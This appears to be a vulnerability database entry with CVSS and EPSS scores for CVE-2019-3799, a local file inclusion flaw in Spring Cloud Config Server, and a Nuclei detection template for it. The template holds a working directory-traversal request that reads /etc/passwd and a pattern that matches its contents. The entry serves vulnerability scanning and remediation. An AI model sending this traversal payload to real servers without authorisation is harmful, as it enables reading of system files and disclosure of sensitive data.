CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:M/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
EPSS
Percentile
90.3%
Spring Cloud Config Server versions 2.1.x prior to 2.1.2, 2.0.x prior to 2.0.4, 1.4.x prior to 1.4.6, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files. An attacker can send a request using a specially crafted URL that can lead to a directory traversal attack.
id: CVE-2019-3799
info:
name: Spring Cloud Config Server - Local File Inclusion
author: madrobot
severity: medium
description: Spring Cloud Config Server versions 2.1.x prior to 2.1.2, 2.0.x prior to 2.0.4, 1.4.x prior to 1.4.6, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files. An attacker can send a request using a specially crafted URL that can lead to a directory traversal attack.
impact: |
An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
remediation: |
Upgrade to a patched version of Spring Cloud Config Server or apply the recommended security patches.
reference:
- https://github.com/mpgn/CVE-2019-3799
- https://pivotal.io/security/cve-2019-3799
- https://www.oracle.com/security-alerts/cpuapr2022.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-3799
- https://github.com/0xT11/CVE-POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2019-3799
cwe-id: CWE-22
epss-score: 0.02947
epss-percentile: 0.90832
cpe: cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: vmware
product: spring_cloud_config
tags: cve,cve2019,lfi,vmware
http:
- method: GET
path:
- "{{BaseURL}}/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- 'root:.*:0:0:'
- type: status
status:
- 200
# digest: 4b0a00483046022100884d5122af099bd55156669a663c8c00a457bb10e509802352655c7a53d6879e022100c0feba0e79bef233214a18c02f7fbb22b99df293f84784823f274a9f97888482:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:M/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
EPSS
Percentile
90.3%